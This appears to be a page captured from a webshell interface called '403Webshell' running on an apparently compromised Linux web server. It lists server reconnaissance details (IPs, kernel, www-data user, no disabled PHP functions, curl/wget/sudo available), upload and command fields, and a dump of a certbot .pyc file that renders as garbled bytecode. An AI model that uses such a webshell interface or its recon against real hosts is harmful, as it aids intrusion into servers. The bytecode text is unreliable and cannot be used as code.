403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/certbot/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/certbot/plugins/__pycache__/util.cpython-314.pyc
+
�K�g��~�Rt^RIt^RIHt^RIHt^RIHt^RIH	t	]P!]4tRRlt
RR	ltR#)
zPlugin utilities.N)�List)�util)�os)�STANDARD_BINARY_DIRSc�F�V^8�dQhR\R\\,/#)��path�return)�strr)�formats"�6/usr/lib/python3/dist-packages/certbot/plugins/util.py�__annotate__r
s����s��t�C�y��c���\PPV4p.pV'dEVPV4\PP	V4wrWR,8XgKIV#V#)auRetrieves all possible path prefixes of a path, in descending order
of length. For instance:

  * (Linux) `/a/b/c` returns `['/a/b/c', '/a/b', '/a', '/']`
  * (Windows) `C:\a\b\c` returns `['C:\a\b\c', 'C:\a\b', 'C:\a', 'C:']`

:param str path: the path to break into prefixes

:returns: all possible path prefixes of given path in descending order
:rtype: `list` of `str`
���)rr�normpath�append�split)r�prefix�prefixes�_s&   r�get_prefixesrsV���W�W�
�
�d�
#�F��H�
�������G�G�M�M�&�)�	���b�\�!���O�8�Orc�0�V^8�dQhR\R\/#)r�cmdr	)r
�bool)rs"rr
r
#s����c��d�rc��\PR,p.p\F:pW19gKV\PV,,
pVP	V4K<	\V4'dH\PRV\PPV44V\PR&\P!V4'dR#\V4'dRMRp\PRVWA4R#)z�Attempt to perform PATH surgery to find cmd

Mitigates https://github.com/certbot/certbot/issues/1833

:param str cmd: the command that is being searched for in the PATH

:returns: True if the operation succeeded, False otherwise
�PATHz6Can't find %s, attempting PATH mitigation by adding %sTz	 expanded�z*Failed to find executable %s in%s PATH: %sF)r�environr�pathsepr�any�logger�debug�joinr�
exe_exists)rr�added�d�expandeds&    r�path_surgeryr(#s����:�:�f��D��E�
!���=��B�J�J��N�"�D��L�L��O�"�
�5�z�z����M��"�*�*�/�/�%�0�	2�!��
�
�6�����s����!�%�j�j�{�b�H�
�L�L�=�s��!�r)�__doc__�logging�typingr�certbotr�certbot.compatr�certbot.compat.miscr�	getLogger�__name__r!rr(�rr�<module>r2s1�������4�	�	�	�8�	$���.r

Youez - 2016 - github.com/yon3zu
LinuXploit